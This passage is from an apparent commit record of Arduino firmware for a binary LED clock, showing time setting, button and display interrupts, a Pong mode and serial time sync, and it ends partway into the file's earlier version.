setTimeVals(int in, uint8_t idx) {\n\tsetValues[idx ] = in \/ 10;\n\tsetValues[idx + 1] = in - (setValues[idx] * 10);\n}\n\n\/*\nMoves forward the value at curSet and constrains\nto proper date\/time conventions including months,\nleap years, etc.\nMuch of this borrowed from: \nhttps:\/\/github.com\/adafruit\/TIMESQUARE-Watch\/blob\/master\/examples\/Watch\/Set.pde\n*\/\ninline void incrementSetValue()\n{\n\tuint8_t upper, lower;\n\tupper = pgm_read_byte(&limit[curSet]);\n\n\tif(((curSet == SET_MO2) || (curSet == SET_D2)) && (setValues[curSet - 1] == 0)) {\n\t\tlower = 1;\n\t}\n\telse {\n\t\tlower = 0;\n\n\t\tif(curSet == SET_MO2) {\n\t\t\tif(setValues[SET_MO1] == 1) upper = 2;\n\t\t} \n\t\telse if(curSet == SET_D2) {\n\t\t\t\/\/ Cap most months at 30 or 31 days as appropriate\n\t\t\tif(setValues[SET_D1] == 3) {\n\t\t\t\tuint8_t m = setValues[SET_MO1] * 10 + setValues[SET_MO2];\n\t\t\t\tupper = pgm_read_byte(&daysInMonth[m - 1]) % 10;\n\t\t\t\t\/\/ Finally, the dreaded leap year...\n\t\t\t} \n\t\t\telse if((setValues[SET_D1] == 2) && (setValues[SET_MO1] == 0) &&\n\t\t\t\t(setValues[SET_MO2] == 1)) {\n\t\t\t\t\tuint8_t y = setValues[SET_Y1] * 10 + setValues[SET_Y2];\n\t\t\t\t\tif((y == 0) || (y & 3)) upper = 8; \/\/ non-leap year\n\t\t\t}\n\t\t} \n\t\telse if(curSet == SET_H2) {\n\t\t\tif(setValues[SET_H1] == 2) upper = 3;\n\t\t}\n\n\t\tif(upper == lower) return;\n\n\t}\n\n\tif(++setValues[curSet] > upper) setValues[curSet] = lower;\n\n\tuint8_t m, d;\n\tswitch(curSet) {\n\tcase SET_MO1:\n\t\tif((setValues[SET_MO1] == 1) && (setValues[SET_MO2] > 2))\n\t\t\tsetValues[SET_MO2] = 0;\n\t\t\/\/ Lack of break is intentional...all subsequent constraints apply.\n\tcase SET_MO2:\n\t\tm = setValues[SET_MO1] * 10 + setValues[SET_MO2];\n\t\tif(m < 1) setTimeVals(1, SET_MO1);\n\tcase SET_D1:\n\t\tm = setValues[SET_MO1] * 10 + setValues[SET_MO2];\n\t\td = setValues[SET_D1] * 10 + setValues[SET_D2];\n\t\tupper = pgm_read_byte(&daysInMonth[m - 1]);\n\t\tif(m == 2) { \/\/ is February\n\t\t\tuint8_t y = setValues[SET_Y1] * 10 + setValues[SET_Y2];\n\t\t\tif((y > 0) && !(y & 3)) upper = 29; \/\/ is leap year\n\t\t}\n\t\tif(d > upper) setTimeVals(upper, SET_D1);\n\t\telse if(d < 1) setTimeVals(1, SET_D1);\n\tcase SET_H1:\n\tcase SET_H2:\n\t\tif((setValues[SET_H1] * 10 + setValues[SET_H2]) > 23)\n\t\t\tsetTimeVals(23, SET_H1);\n\t}\n\n\ttimeUpdated = setChanged = true;\n}\n\n\/\/move to next set value and wrap if needed\ninline void nextSetValue()\n{\n\tcurSet++;\n\tif(curSet > SET_MN2) curSet = SET_Y1;\n\tsetChanged = true;\n}\n\n\/\/Populate setValues with the current time\ninline void loadSetVals()\n{\n\tsetValues[SET_Y1] = (dt_now.year() - 2000) \/ 10;\n\tsetValues[SET_Y2] = (dt_now.year() - 2000) % 10;\n\tsetValues[SET_MO1] = dt_now.month() \/ 10;\n\tsetValues[SET_MO2] = dt_now.month() % 10;\n\tsetValues[SET_D1] = dt_now.day() \/ 10;\n\tsetValues[SET_D2] = dt_now.day() % 10;\n\tsetValues[SET_H1] = dt_now.hour() \/ 10;\n\tsetValues[SET_H2] = dt_now.hour() % 10;\n\tsetValues[SET_MN1] = dt_now.minute() \/ 10;\n\tsetValues[SET_MN2] = dt_now.minute() % 10;\n}\n\n\/\/push setValues data to the RTC\ninline void adjustFromSetVal()\n{\n\tDateTime set = DateTime(\n\t\t(setValues[SET_Y1] * 10) + setValues[SET_Y2] + 2000,\n\t\t(setValues[SET_MO1] * 10) + setValues[SET_MO2],\n\t\t(setValues[SET_D1] * 10) + setValues[SET_D2],\n\t\t(setValues[SET_H1] * 10) + setValues[SET_H2],\n\t\t(setValues[SET_MN1] * 10) + setValues[SET_MN2] ,\n\t\t0\n\t\t);\n\n\tRTC->adjust(set);\n}\n\n\/\/Output current DateTime to serial debug\n\/\/Generally only used during testing since \n\/\/serial is normally turned off\n\/*\nvoid PrintDate(const DateTime& dt)\n{\nOD(dt.year()); \nOS(\" \"); \nOD(dt.month()); \nOS(\" \");\nOD(dt.day()); \nOS(\" - \");\nOD(dt.hour()); \nOS(\":\"); \nOD(dt.minute()); \nOS(\":\"); \nOD(dt.second());\nSerial.println();\n}\n*\/\n\n\/*\nKeeping the EEPROM stuff simple. \nOnly thing to save is the PWM level so \nwe just read it in the 0th byte of the \nEEPROM register and then constrain to max\/min\n*\/\ninline void ReadPwmLevel()\n{\n\tpwmLevel = EEPROM.read(0);\n\tif(pwmLevel <= 0 || pwmLevel > pwmMax)\n\t\tpwmLevel = pwmMax;\n}\n\nvoid setup()\n{\n\tReadPwmLevel(); \n\n\t\/*\n\tSupport for multiple RTC chip types including software only.\n\tRTC_METHOD is set in globals.h\n\tThe DS3231 has nearly identical registers to the DS1307 so if using that chip there\n\tis no real need to update RTC_METHOD, it will just work. Besides the current hardware has \n\tno place for the DS3231 (Chronodot)... maybe in the future.\n\tYou can, however, leave out the DS1307 chip and set RTC_METHOD to USE_SOFTRTC\/\n\tBut note that there is no battery backup in this case and you will loose time if you loose power.\n\t*\/\n\tif(RTC_METHOD == USE_DS1307)\n\t\tRTC = new RTC_DS1307(); \n\telse if(RTC_METHOD == USE_DS3231)\n\t\tRTC = new RTC_DS3231(); \n\telse\n\t\tRTC = new RTC_SOFT(DateTime(__DATE__, __TIME__));\n\n\t\/\/init reference for time delays. used with TimeElapsed() calls.\n\t\/\/set to 0 instead of millis() so it always triggers right away the first time\n\ttimeRef = 0;\n\n\t\/\/Setup common cathodes as outputs\n\tDDRC |= (_BV(PINC0) | _BV(PINC1) | _BV(PINC2) | _BV(PINC3));\n\t\/\/Setup rows as outputs\n\tDDRB |= (_BV(PINB0) | _BV(PINB1) | _BV(PINB2) | _BV(PINB3) | _BV(PINB4) | _BV(PINB5));\n\tDDRD |= (_BV(PIND6) | _BV(PIND7));\n\n\t\/\/Set PORTD2 and PORTD3 as inputs\n\tDDRD &= ~(_BV(PIND2) | _BV(PIND3));\n\t\/\/Enable set\/change button pullups\n\tPORTD |= (_BV(PIND2) | _BV(PIND3));\n\t\/\/Enable I2C pullups - probably not really necessary since twi.h does this for you\n\tPORTC |= (_BV(PINC4) | _BV(PINC5));\n\n\t\/\/see setResetDisable(bool) for info\n\tDDRD &= ~(_BV(PIND5)); \/\/Set PIND5 as input initially\n\tPORTD |= (_BV(PIND5)); \/\/Set high\n\n\t\/\/check for buttons held down at power up\n\tbSave = BUTTON_STATE;\n\n\t\/\/init global time value\n\tdispBuf = 0;\n\n\tWire.begin();\n\n\t\/\/Grab current time and set to compile time if RTC is uniitialized\n\tdt_now = RTC->now();\n\tif(dt_now.unixtime() <= SECONDS_FROM_1970_TO_2000 + 60) \/\/RTC not initialized and oscillator disabled\n\t{\n\t\tdt_now = DateTime(__DATE__, __TIME__);\n\t\tRTC->adjust(dt_now);\n\t}\n\tdispBuf = dt_now.unixtime();\n\n\tif(bSave != BUTTON_MASK && bSave & ~BUTTON_B)\n\t{\n\t\t\/\/check again just to be sure. RTC-now() has given a bit of a delay\n\t\tbSave = BUTTON_STATE;\n\t\tif(bSave != BUTTON_MASK && bSave & ~BUTTON_B)\n\t\t{\n\t\t\tcurState = STATE_PAUSE;\n\t\t\tdispBuf = 0xFFFFFFFF; \n\t\t\ttimeOutRef = millis();\n\t\t\tholdFlag = true;\n\t\t}\n\t}\n\n\tsetInterrupts();\n\n\tSerial.begin(SERIAL_BAUD);\n}\n\n\/*\nUsed for software disable of reset on Serial connection.\nSetting PIND5 to an output through a 110 ohm resistor \nlater will place 5V at low impedence on the reset pin, \npreventing it from reseting when RTS is pulsed on connection.\n*\/\ninline void setResetDisable(bool state)\n{\n\tif(state)\n\t\tDDRD |= (_BV(PIND5));\n\telse\n\t\tDDRD &= ~(_BV(PIND5)); \n} \n\n\/\/Setup all things interrupt related\ninline void setInterrupts()\n{\n\t\/\/disable interrupt timers\n\tcli();\n\t\/\/ Set up interrupt-on-change for buttons.\n\tEICRA = _BV(ISC10) | _BV(ISC00); \/\/ Trigger on any logic change\n\tEIMSK = _BV(INT1) | _BV(INT0); \/\/ Enable interrupts on pins\n\tbSave = BUTTON_STATE; \/\/ Get initial button state\n\n\t\/\/Setup Display Refresh Interrupt\n\tTCCR1A = 0;\/\/ set entire TCCR1A register to 0\n\tTCCR1B = 0;\/\/ same for TCCR1B\n\tTCNT1 = 0;\/\/initialize counter value to 0\n\n\t\/\/ set compare match register for 6400hz (800hz screen refresh) increments\n\tOCR1A = 2500;\/\/ = (16*10^6) \/ (1*6400) - 1 \n\t\/\/ turn on CTC mode\n\tTCCR1B |= _BV(WGM12);\n\n\tTCCR1B |= PRESCALE1_1; \n\t\/\/ enable timer compare interrupt\n\tTIMSK1 |= _BV(OCIE1A);\n\n\t\/\/Setup Timer2 interrupts for button handling\n\t\/\/Runs at about 60Hz, which is as slow as we can go\n\tTCCR2A = 0;\/\/ set entire TCCR1A register to 0\n\tTCCR2B = 0;\/\/ same for TCCR1B\n\tTCNT2 = 0;\/\/initialize counter value to 0\n\n\t\/\/ set compare match register for max\n\tOCR2A = 255;\n\t\/\/ turn on CTC mode\n\tTCCR2B |= _BV(WGM21);\n\n\tTCCR2B |= PRESCALE2_1024; \n\t\/\/ enable timer compare interrupt\n\tTIMSK2 |= _BV(OCIE2A);\n\n\t\/\/enable interrupt timers\n\tsei();\n}\n\ninline void endSerialSet()\n{\n\tSerial.end();\n\tsetResetDisable(false);\n\tcurState = prevState;\n}\n\n\/\/Timer2 interrupt for handling button presses\nISR(TIMER2_COMPA_vect)\n{\n\t\/\/ Check for button 'hold' conditions\n\tif(bSave != BUTTON_MASK) \n\t{ \/\/ button(s) held\n\t\tif(bCount >= holdMax && !holdFlag) \n\t\t{ \/\/held passed 1 second\n\t\t\tholdFlag = true;\n\t\t\tbCount = 0;\n\t\t\tif(bSave & ~BUTTON_A)\n\t\t\t{\n\t\t\t\tif(curState <= STATE_PONG)\n\t\t\t\t{\n\t\t\t\t\tprevState = curState;\n\t\t\t\t\ttimeReady = false;\n\t\t\t\t\tsetCancel = false;\n\t\t\t\t\tcurState = STATE_MANUAL_SET;\n\t\t\t\t\tcurSet = SET_Y1;\n\t\t\t\t\tloadSetVals();\n\t\t\t\t\tsetChanged = true;\n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_MANUAL_SET)\n\t\t\t\t{\n\t\t\t\t\t\/\/set to new time\n\t\t\t\t\ttimeReady = true;\n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_PAUSE)\n\t\t\t\t{\n\t\t\t\t\tcurState = prevState;\n\t\t\t\t\tReadPwmLevel(); \n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_SERIAL_SET)\n\t\t\t\t{\n\t\t\t\t\tendSerialSet();\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if(bSave & ~BUTTON_B)\n\t\t\t{\n\t\t\t\tif(curState <= STATE_PONG)\n\t\t\t\t{\n\t\t\t\t\tprevState = curState;\n\t\t\t\t\tcurState = STATE_PAUSE; \n\t\t\t\t\ttimeOutRef = millis(); \n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_PAUSE)\n\t\t\t\t{\n\t\t\t\t\tcurState = prevState;\n\t\t\t\t\tReadPwmLevel(); \n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_MANUAL_SET)\n\t\t\t\t{\n\t\t\t\t\tsetCancel = true;\n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_SERIAL_SET)\n\t\t\t\t{\n\t\t\t\t\tendSerialSet();\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif(curState <= STATE_PONG)\n\t\t\t\t{\n\t\t\t\t\tprevState = curState;\n\t\t\t\t\tsetResetDisable(true);\n\t\t\t\t\tSerial.begin(SERIAL_BAUD);\n\t\t\t\t\t_serialScan = 16; \/\/start in middle\n\t\t\t\t\t_serialScanDir = false;\n\t\t\t\t\ttimeOutRef = millis();\n\t\t\t\t\tcurState = STATE_SERIAL_SET;\n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_SERIAL_SET)\n\t\t\t\t{\n\t\t\t\t\tendSerialSet();\n\t\t\t\t}\n\t\t\t\telse if(STATE_PAUSE)\n\t\t\t\t{\n\t\t\t\t\tcurState = prevState;\n\t\t\t\t\tReadPwmLevel(); \n\t\t\t\t}\n\t\t\t}\n\t\t} \n\t\telse bCount++; \/\/ else keep counting...\n\t} \n}\n\n\/\/Button external interrupts\nISR(INT0_vect) {\n\tuint8_t state = BUTTON_STATE;\n\tif(state == BUTTON_MASK) \/\/both are high meaning they've been released\n\t{\n\t\tif(holdFlag)\n\t\t{\n\t\t\tholdFlag = false;\n\t\t\tbCount = 0;\n\t\t}\n\t\telse if(bCount > 3) \/\/past debounce threshold\n\t\t{\n\t\t\tif(bSave & ~BUTTON_A)\n\t\t\t{\n\t\t\t\tif(curState == STATE_MANUAL_SET)\n\t\t\t\t{\n\t\t\t\t\tnextSetValue();\n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_FULL_BINARY)\n\t\t\t\t{\n\t\t\t\t\tcurState = STATE_SUB_BINARY;\n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_SUB_BINARY)\n\t\t\t\t{\n\t\t\t\t\tresetPongBall();\n\t\t\t\t\t_pongLScore = _pongRScore = 0;\n\t\t\t\t\tcurState = STATE_PONG;\n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_PONG)\n\t\t\t\t{\n\t\t\t\t\tcurState = STATE_FULL_BINARY;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if(bSave & ~BUTTON_B)\n\t\t\t{\n\t\t\t\tif(curState <= STATE_PONG)\n\t\t\t\t{\n\t\t\t\t\t\/\/Change PWM level\n\t\t\t\t\tpwmLevel--;\n\t\t\t\t\tif(pwmLevel <= 0 || pwmLevel > pwmMax)\n\t\t\t\t\t\tpwmLevel = pwmMax;\n\n\t\t\t\t\tEEPROM.write(0, pwmLevel);\n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_MANUAL_SET)\n\t\t\t\t{\n\t\t\t\t\tincrementSetValue();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tbCount = 0;\n\t}\n\telse if(state != bSave) {\n\t\tbCount = 0; \n\t}\n\n\tbSave = state;\n}\n\n\/\/Use the same handler for both INT0 and INT1 interrupts\nISR(INT1_vect, ISR_ALIASOF(INT0_vect));\n\n\/*\nWhere the magic happens. All the multiplexing is done here.\nWe start by disabling all the \"columns\" which actually means turning them to high\nsince this is common ground. \nIf in serial set mode we do a larson scanner instead of show the time.\nOtherwise set the states of each of the 4 LEDs in each row and then finally\nre-enable the column for this pass through the loop.\nIt requires 8 passes (1 per column) through this to update the display once.\nAs this is called at 6400Hz, we update the display fully at 800Hz.\n*\/\nvolatile uint8_t col = 0, row = 0;\nvolatile uint8_t scan_low = 0, scan_high = 0;\n#define SCAN_WIDTH 2\nISR(TIMER1_COMPA_vect)\n{\n\t\/\/Turn all columns off (High is off in this case since it's common cathode)\n\tPORTB |= (_BV(PINB0) | _BV(PINB1) | _BV(PINB2) | _BV(PINB3) | _BV(PINB4) | _BV(PINB5));\n\tPORTD |= (_BV(PIND6) | _BV(PIND7));\n\n\tif(curState == STATE_SERIAL_SET)\n\t{\n\t\tscan_low = _serialScan >= SCAN_WIDTH ? _serialScan - SCAN_WIDTH : 0;\n\t\tscan_high = _serialScan <= (31 - SCAN_WIDTH) ? _serialScan + SCAN_WIDTH : 31;\n\t\tbyte _scanOffset = 0;\n\t\tbyte _curStep = 0; \n\n\t\t\/\/set the 4 rows\n\t\tfor(row=0; row<4; row++)\n\t\t{\n\t\t\t_curStep = (row + (col * 4));\n\n\t\t\tif(_curStep < _serialScan) _scanOffset = (_serialScan - _curStep);\n\t\t\telse if(_curStep > _serialScan) _scanOffset = (_curStep - _serialScan);\n\t\t\telse _scanOffset = 0;\n\n\t\t\tif((_curStep >= scan_low && _curStep <= scan_high) &&\n\t\t\t\t(_serialScanStep < scanLevels[_scanOffset]))\n\t\t\t\tPORTC |= _BV(row);\n\t\t\telse\n\t\t\t\tPORTC &= ~_BV(row);\n\t\t}\n\n\t\t\/\/Enable the current column\n\t\tif(col < 6)\n\t\t\tPORTB &= ~_BV(col);\n\t\telse\n\t\t\tPORTD &= ~_BV(col);\n\t}\n\telse\n\t{\n\t\tif(pwmStep < pwmLevel)\n\t\t{\n\t\t\t\/\/set the 4 rows\n\t\t\tfor(row=0; row<4; row++)\n\t\t\t{\n\t\t\t\tif(dispBuf & (1UL << (row + (col * 4))))\n\t\t\t\t\tPORTC |= _BV(row);\n\t\t\t\telse\n\t\t\t\t\tPORTC &= ~_BV(row);\n\t\t\t} \n\n\t\t\t\/\/Enable the current column\n\t\t\tif(col < 6)\n\t\t\t\tPORTB &= ~_BV(col);\n\t\t\telse\n\t\t\t\tPORTD &= ~_BV(col);\n\t\t}\n\t}\n\n\tcol++;\n\tif(col == 8)\n\t{ \n\t\tcol = 0;\n\t\tpwmStep++;\n\t\tif(pwmStep == pwmMax)\n\t\t\tpwmStep = 0;\n\n\t\tif(curState == STATE_SERIAL_SET)\n\t\t{\n\t\t\t_serialScanStep++;\n\t\t\tif(_serialScanStep == 10) _serialScanStep = 0; \n\t\t}\n\t}\n}\n\n\/\/Helper for time delays without actually pausing execution\nbool TimeElapsed(unsigned long ref, unsigned long wait)\n{\n\tunsigned long now = millis();\n\n\tif(now < ref || ref == 0) \/\/for the 50 day rollover or first boot\n\t\treturn true; \n\n\tif((now - ref) > wait)\n\t\treturn true;\n\telse\n\t\treturn false;\n}\n\n\/*\nGet time from serial connection\nTime data is just the letter 't' followed by 4 bytes \nrepresenting a unix epoch 32-bit time stamp. \nThe time is assumed to already be adjusted for local \ntime zone and DST by the sending computer as RTC does not \nstore time as UTC.\n*\/\nbool getPCTimeSync()\n{\n\tbool result = false;\n\tif(Serial.available() >= SYNC_LEN)\n\t{\n\t\tbyte buf[5];\n\t\tmemset(buf, 0, 5);\n\t\tSerial.readBytes((char *)buf, 5);\n\t\tif(buf[0] == SYNC_HEADER)\n\t\t{\n\t\t\tuint32_t t = 0;\n\t\t\tmemcpy(&t, buf+1, 4);\n\t\t\tRTC->adjust(DateTime(t));\n\t\t\tSerial.write(42); \/\/Writes out to confirm we got it (sends as a *)\n\t\t\tSerial.flush();\n\t\t\tresult = true;\n\t\t\twhile(Serial.available()) Serial.read(); \/\/clear the bufer\n\t\t\tSerial.end();\n\t\t\tsetResetDisable(false);\n\t\t}\n\t\telse if(buf[0] == GET_HEADER)\n\t\t{\n\t\t\tdt_now = RTC->now();\n\t\t\tuint32_t time = dt_now.unixtime();\n\t\t\tmemset(buf, 0, 5);\n\t\t\tbuf[0] = SYNC_HEADER;\n\t\t\tmemcpy(buf+1, &time, 4);\n\t\t\tSerial.write(buf, 5);\n\t\t\tSerial.flush();\n\t\t\tresult = true;\n\t\t}\n\t}\n\n\treturn result;\n}\n\ninline void resetPongBall() \n{ \n\trandomSeed(millis());\n\t_pongBall = random(2) ? 15 : 16; \n\t_pongDir = _pongBall > 15;\n\t_pongPaddles = (1UL << 31) | (1UL << 0);\n}\n\ninline void randomPongPaddles()\n{\n\n\tswitch ( random(4) % 4)\n\t{\n\tcase 0:\n\t\t_pongPaddles = 0;\n\t\tbreak;\n\tcase 1: \n\t\t_pongPaddles = (1UL << 31);\n\t\tbreak;\n\tcase 2: \n\t\t_pongPaddles = (1UL << 0);\n\t\tbreak;\n\tcase 3: \n\t\t_pongPaddles = (1UL << 31) | (1UL << 0);\n\t\tbreak;\n\t}\n}\n\n\/*\nThe main program state machine.\nMost of the time this will just be updating the time every 500ms\n(1000ms can cause noticable jumps if program execution takes longer than normal).\n*\/\nvoid loop()\n{\n\n\tif(curState == STATE_FULL_BINARY)\n\t{\n\t\tif(TimeElapsed(timeRef, 500))\n\t\t{\n\t\t\ttimeRef = millis();\n\t\t\tdt_now = RTC->now();\n\t\t\tdispBuf = dt_now.unixtime();\n\t\t}\n\t}\n\t\/\/many thanks to Josh Ward for this new clock \"face\" that's a little more readable\n\t\/\/https:\/\/github.com\/kredal\/\n\t\/\/Use the following \"key\" for reading in this mode: http:\/\/maniacallabs.com\/misc\/Binary_Clock_Key.png\n\t\/\/Tapping A will now switch between the modes\n\telse if(curState == STATE_SUB_BINARY)\n\t{\n\t\tif(TimeElapsed(timeRef, 500))\n\t\t{\n\t\t\ttimeRef = millis();\n\t\t\tdt_now = RTC->now();\n\n\t\t\tsbVals[0] = dt_now.second();\n\t\t\tsbVals[1] = dt_now.minute();\n\t\t\tsbVals[2] = dt_now.hour();\n\t\t\tsbVals[3] = dt_now.day();\n\t\t\tsbVals[4] = dt_now.month();\n\t\t\tsbVals[5] = dt_now.year() - 2000;\n\n\t\t\tint i = 0;\n\t\t\tfor(int i=0; i<=5; i++)\n\t\t\t{\n\t\t\t\tfor(sbCurBit=0; sbCurBit <= sbBits[i]; sbCurBit++)\n\t\t\t\t{\n\t\t\t\t\tif(sbVals[i] & (1UL << sbCurBit))\n\t\t\t\t\t\tdispBuf |= (1UL << sbCurBit + sbOffsets[i]);\n\t\t\t\t\telse\n\t\t\t\t\t\tdispBuf &= ~(1UL << sbCurBit + sbOffsets[i]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\telse if(curState == STATE_PONG)\n\t{\n\t\tif(TimeElapsed(timeRef, _pongTimeout))\n\t\t{\n\t\t\ttimeRef = millis();\n\t\t\tif(_pongShowScore)\n\t\t\t{\n\t\t\t\t_pongShowScore = false;\n\t\t\t\t_pongTimeout = PONG_TIMEOUT;\n\t\t\t\tif(_pongLScore >= 16 || _pongRScore >= 16)\n\t\t\t\t{\n\t\t\t\t\t_pongLScore = _pongRScore = 0;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(_pongDir)\n\t\t\t{\n\t\t\t\tif(_pongBall == 30)\n\t\t\t\t{\n\t\t\t\t\tif(_pongPaddles & (1UL << 31))\n\t\t\t\t\t{\n\t\t\t\t\t\t_pongDir = false;\n\t\t\t\t\t\trandomPongPaddles();\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t_pongRScore++;\n\t\t\t\t\t\t_pongShowScore = true;\n\t\t\t\t\t\tresetPongBall();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif(_pongBall == 1)\n\t\t\t\t{\n\t\t\t\t\tif(_pongPaddles & (1UL << 0))\n\t\t\t\t\t{\n\t\t\t\t\t\t_pongDir = true; \n\t\t\t\t\t\trandomPongPaddles();\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t_pongLScore++;\n\t\t\t\t\t\t_pongShowScore = true;\n\t\t\t\t\t\tresetPongBall();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t_pongBall += _pongDir ? 1 : -1;\n\n\t\t\tif(_pongShowScore)\n\t\t\t{\n\t\t\t\t_pongTimeout = 1000;\n\t\t\t\tdispBuf = (((1UL << 32) - 1) - ((1UL << (32 - _pongLScore)) - 1)) + ((1UL << _pongRScore) - 1);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tdispBuf = _pongPaddles | (1UL << _pongBall);\n\t\t\t}\n\t\t}\n\t}\n\telse if(curState == STATE_PAUSE)\n\t{\n\t\tif(TimeElapsed(timeOutRef, 600000))\n\t\t{\n\t\t\tcurState = prevState;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif(TimeElapsed(timeRef, 50))\n\t\t\t{\n\t\t\t\ttimeRef = millis();\n\t\t\t\tif(pwmLevel == pwmMax) fadeDir = false;\n\t\t\t\telse if(pwmLevel == 1) fadeDir = true;\n\t\t\t\tpwmLevel += (fadeDir ? 1 : -1);\n\t\t\t}\n\t\t}\n\t}\n\telse if(curState == STATE_MANUAL_SET)\n\t{\n\t\tif(timeReady)\n\t\t{\n\t\t\tadjustFromSetVal();\n\t\t\tcurState = prevState; \n\t\t}\n\t\telse if(setChanged)\n\t\t{\n\t\t\tsetChanged = false;\n\t\t\tuint32_t temp = 0;\n\t\t\tif(setValues[curSet])\n\t\t\t\ttemp += ((1UL << setValues[curSet]) - 1);\n\n\t\t\ttemp |= (1UL << (31 - curSet)); \n\t\t\tdispBuf = temp;\n\t\t}\n\t\telse if(setCancel)\n\t\t{\n\t\t\tcurState = prevState;\n\t\t}\n\n\t}\n\telse if(curState == STATE_SERIAL_SET)\n\t{\n\t\tif(TimeElapsed(timeOutRef, 30000))\n\t\t{\n\t\t\tSerial.end();\n\t\t\tsetResetDisable(false);\n\t\t\tcurState = prevState;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif(TimeElapsed(timeRef, 40))\n\t\t\t{\n\t\t\t\ttimeRef = millis();\n\t\t\t\tif(_serialScan == 31) _serialScanDir = false;\n\t\t\t\telse if(_serialScan == 0) _serialScanDir = true;\n\t\t\t\t_serialScan += (_serialScanDir ? 1 : -1);\n\t\t\t}\n\n\t\t\t\/\/check for serial data for time sync\n\t\t\tif(getPCTimeSync())\n\t\t\t\tcurState = prevState;\n\t\t}\n\t}\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","old_contents":"\/*\nVersion 1.0\nCopyright (c) 2013 Adam Haile & Dan Ternes. All right reserved.\nhttp:\/\/ManiacalLabs.com\n*\/\n\n\/*\nPinout Information\nPC0 - PC3: Common cathode Outputs for display\nPINB0-PINB5,PIND6-PIND7: Display row anodes\nPC4 & PC5: SDA * SCL for I2C to RTC \nPIND0 & PIND1: RX & TX for Serial\nPIND2 & PIND3: Mode & Change buttons\nPIND5: Reset Enable\/Disable\n*\/\n\n#include <Wire.h>\n#include \"RTClib.h\"\n#include \"EEPROM.h\"\n\n#include \"globals.h\"\n\n\/\/Sets the individual digits of a number 0-99\nstatic void setTimeVals(int in, uint8_t idx) {\n\tsetValues[idx ] = in \/ 10;\n\tsetValues[idx + 1] = in - (setValues[idx] * 10);\n}\n\n\/*\nMoves forward the value at curSet and constrains\nto proper date\/time conventions including months,\nleap years, etc.\nMuch of this borrowed from: \nhttps:\/\/github.com\/adafruit\/TIMESQUARE-Watch\/blob\/master\/examples\/Watch\/Set.pde\n*\/\ninline void incrementSetValue()\n{\n\tuint8_t upper, lower;\n\tupper = pgm_read_byte(&limit[curSet]);\n\n\tif(((curSet == SET_MO2) || (curSet == SET_D2)) && (setValues[curSet - 1] == 0)) {\n\t\tlower = 1;\n\t}\n\telse {\n\t\tlower = 0;\n\n\t\tif(curSet == SET_MO2) {\n\t\t\tif(setValues[SET_MO1] == 1) upper = 2;\n\t\t} \n\t\telse if(curSet == SET_D2) {\n\t\t\t\/\/ Cap most months at 30 or 31 days as appropriate\n\t\t\tif(setValues[SET_D1] == 3) {\n\t\t\t\tuint8_t m = setValues[SET_MO1] * 10 + setValues[SET_MO2];\n\t\t\t\tupper = pgm_read_byte(&daysInMonth[m - 1]) % 10;\n\t\t\t\t\/\/ Finally, the dreaded leap year...\n\t\t\t} \n\t\t\telse if((setValues[SET_D1] == 2) && (setValues[SET_MO1] == 0) &&\n\t\t\t\t(setValues[SET_MO2] == 1)) {\n\t\t\t\t\tuint8_t y = setValues[SET_Y1] * 10 + setValues[SET_Y2];\n\t\t\t\t\tif((y == 0) || (y & 3)) upper = 8; \/\/ non-leap year\n\t\t\t}\n\t\t} \n\t\telse if(curSet == SET_H2) {\n\t\t\tif(setValues[SET_H1] == 2) upper = 3;\n\t\t}\n\n\t\tif(upper == lower) return;\n\n\t}\n\n\tif(++setValues[curSet] > upper) setValues[curSet] = lower;\n\n\tuint8_t m, d;\n\tswitch(curSet) {\n\tcase SET_MO1:\n\t\tif((setValues[SET_MO1] == 1) && (setValues[SET_MO2] > 2))\n\t\t\tsetValues[SET_MO2] = 0;\n\t\t\/\/ Lack of break is intentional...all subsequent constraints apply.\n\tcase SET_MO2:\n\t\tm = setValues[SET_MO1] * 10 + setValues[SET_MO2];\n\t\tif(m < 1) setTimeVals(1, SET_MO1);\n\tcase SET_D1:\n\t\tm = setValues[SET_MO1] * 10 + setValues[SET_MO2];\n\t\td = setValues[SET_D1] * 10 + setValues[SET_D2];\n\t\tupper = pgm_read_byte(&daysInMonth[m - 1]);\n\t\tif(m == 2) { \/\/ is February\n\t\t\tuint8_t y = setValues[SET_Y1] * 10 + setValues[SET_Y2];\n\t\t\tif((y > 0) && !(y & 3)) upper = 29; \/\/ is leap year\n\t\t}\n\t\tif(d > upper) setTimeVals(upper, SET_D1);\n\t\telse if(d < 1) setTimeVals(1, SET_D1);\n\tcase SET_H1:\n\tcase SET_H2:\n\t\tif((setValues[SET_H1] * 10 + setValues[SET_H2]) > 23)\n\t\t\tsetTimeVals(23, SET_H1);\n\t}\n\n\ttimeUpdated = setChanged = true;\n}\n\n\/\/move to next set value and wrap if needed\ninline void nextSetValue()\n{\n\tcurSet++;\n\tif(curSet > SET_MN2) curSet = SET_Y1;\n\tsetChanged = true;\n}\n\n\/\/Populate setValues with the current time\ninline void loadSetVals()\n{\n\tsetValues[SET_Y1] = 